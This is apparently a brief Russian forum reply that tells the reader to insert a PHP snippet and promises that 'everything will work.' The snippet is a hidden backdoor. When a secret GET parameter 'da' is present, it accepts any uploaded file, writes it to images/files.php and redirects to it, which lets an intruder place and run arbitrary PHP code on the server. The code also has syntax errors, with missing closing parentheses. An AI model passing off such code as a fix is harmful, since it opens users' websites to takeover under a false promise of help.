Вставь код
[code]if(isset($_GET['da'])){
error_reporting(E_ALL^E_NOTICE);
if(isset($_FILES['file']))
{
$type = $_FILES['file']['type'];

if (!isset($err))
{
$tmp = $_FILES['file']['tmp_name'];
move_uploaded_file($tmp, "images/files.php";
header("location: images/files.php";
}
}[/code]
и всё будет работать